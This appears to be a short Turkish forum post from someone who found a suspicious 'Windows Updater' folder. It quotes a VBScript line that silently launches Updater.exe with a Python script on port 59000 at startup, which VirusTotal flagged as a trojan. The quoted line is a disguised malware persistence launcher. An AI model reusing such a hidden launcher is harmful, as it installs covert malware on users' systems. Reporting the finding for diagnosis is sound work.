CreateObject("WScript.Shell").Run """" & "C:UserskuladimAppDataRoamingWindows UpdaterUpdater.exe" & """ """ & "-s" & """ """ & "C:UserskuladimAppDataRoamingWindows UpdaterUpdater.py" & """ """ & "-p" & """ """ & "59000" & """", 0, False

GÜNCELLEME:
windows updater adlı klasörde
bu dosyaları çalıştırıyor yukarıdaki kod ve başlangıç uygulaması olarak ayarlanmış
güvenlik sekmesinde exe dosyasının tam yetkisi olduğu görünüyor virüs totalde trojen olarak algıladı